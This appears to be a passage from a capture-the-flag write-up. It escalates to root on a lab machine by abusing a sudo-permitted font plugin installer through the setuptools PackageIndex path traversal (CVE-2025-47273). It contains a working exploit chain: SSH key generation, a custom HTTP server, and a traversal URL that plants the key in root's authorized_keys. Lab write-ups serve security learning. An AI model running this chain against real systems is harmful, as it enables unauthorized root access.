steve@variatype:~$ id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
steve@variatype:~$ cat user.txt
6**********************************5

4 ROOT

4.1 Sudo

Check sudo:

axura @ labyrinth :~
steve@variatype:~$ sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

So the next step was to read /opt/font-tools/install_validator.py and check how it handled the user-controlled argument passed through sudo.

4.2 CVE-2025-47273

4.2.1 Code Review

Python
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

The dangerous part sits in one line:

Python
downloaded_path = index.download(plugin_url, PLUGIN_DIR)

The script performs only superficial URL validation:

  • scheme must be http or https
  • a netloc must exist
  • the URL cannot contain too many /

None of those checks constrain where the downloaded file is finally written. Since the helper runs as root and hands attacker-controlled input to PackageIndex.download(), the next step was to check whether that download path could be redirected outside PLUGIN_DIR.

4.2.2 PackageIndex Path Traversal

The relevant issue is CVE-2025-47273, a path traversal in setuptools.PackageIndex.download() affecting versions before 78.1.1.

The upstream advisory points to this sink:

Python
name, _fragment = egg_info_for_url(url)
...
filename = os.path.join(tmpdir, name)

That line is the whole bug. If name resolves to an absolute path, os.path.join(tmpdir, name) discards tmpdir and returns the attacker-controlled absolute path instead.

The upstream fix in 250a6d1 added an explicit boundary check:

Diff
+        filename = os.path.join(tmpdir, name)
+
+        # ensure path resolves within the tmpdir
+        if not filename.startswith(str(tmpdir)):
+            raise ValueError(f"Invalid filename {filename}")
+
+        return filename

The patch also added a regression test that mirrors the exploitation idea directly:

Diff
+        >>> url = 'https://anyhost/%2fhome%2fuser%2f.ssh%2fauthorized_keys'
+        >>> du(url, root)
+        Traceback (most recent call last):
+        ...
+        ValueError: Invalid filename...

This is actually a PoC.

Before the fix, a URL path containing %2f.../authorized_keys could resolve to an absolute path outside the intended download directory. After the fix, setuptools rejects it.

4.2.3 Exploit

That behavior mapped cleanly onto install_validator.py:

Python
downloaded_path = index.download(plugin_url, PLUGIN_DIR)

The script runs as root through sudo, and its URL validation only checks slash count of maximum 10 — more than enough.

So a URL such as:

URL
http://ATTACKER_IP:PORT/%2Froot%2F.ssh%2Fauthorized_keys

still satisfies the script's checks, but its decoded path attempts to escape PLUGIN_DIR and land directly in /root/.ssh/authorized_keys.

At that point, the root path was clear:

host an attacker-controlled public key, invoke install_validator.py with a traversal URL, and let the vulnerable PackageIndex.download() write that key into root's SSH trust store.

Generate an SSH key pair locally first:

Bash
ssh-keygen -t ed25519 -f /tmp/root_key -N ""

To host this file, a normal static HTTP server was not enough, because PackageIndex.download() requested the full traversal path:

URI
/%2Froot%2F.ssh%2Fauthorized_keys

A plain python3 -m http.server would try to serve that literal URL path and return 404. So the server had to ignore the request path and always return the SSH public key content.

A simple custom HTTP handler would satisfy our needs:

Bash
# Write http server handler
cat > /tmp/server.py <<'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        with open("root_key.pub", "rb") as f:
            data = f.read()
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

HTTPServer(("0.0.0.0", 80), Handler).serve_forever()
EOF

# start server
python3 /tmp/server.py

Then, from the steve shell, invoke the vulnerable installer with a traversal URL:

Bash
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
    "http://10.10.13.68:80/%2Froot%2F.ssh%2Fauthorized_keys"

"[+] Plugin installed successfully."

The public key was written directly into /root/.ssh/authorized_keys. At that point, reconnect over SSH as root:

Bash
chmod 600 /tmp/root_key
ssh -i /tmp/root_key [email protected]

Rooted:

axura @ labyrinth :~
$ python3 server.py
10.129.78.103 - - [15/Mar/2026 00:01:54] "GET /%2Froot%2F.ssh%2Fauthorized_keys HTTP/1.1" 200 -
^C
$ chmod 600 /tmp/root_key
$ ssh -i /tmp/root_key [email protected]
Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 15 03:02:33 2026 from 10.10.13.68
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)
root@variatype:~# cat root.txt
d***************************d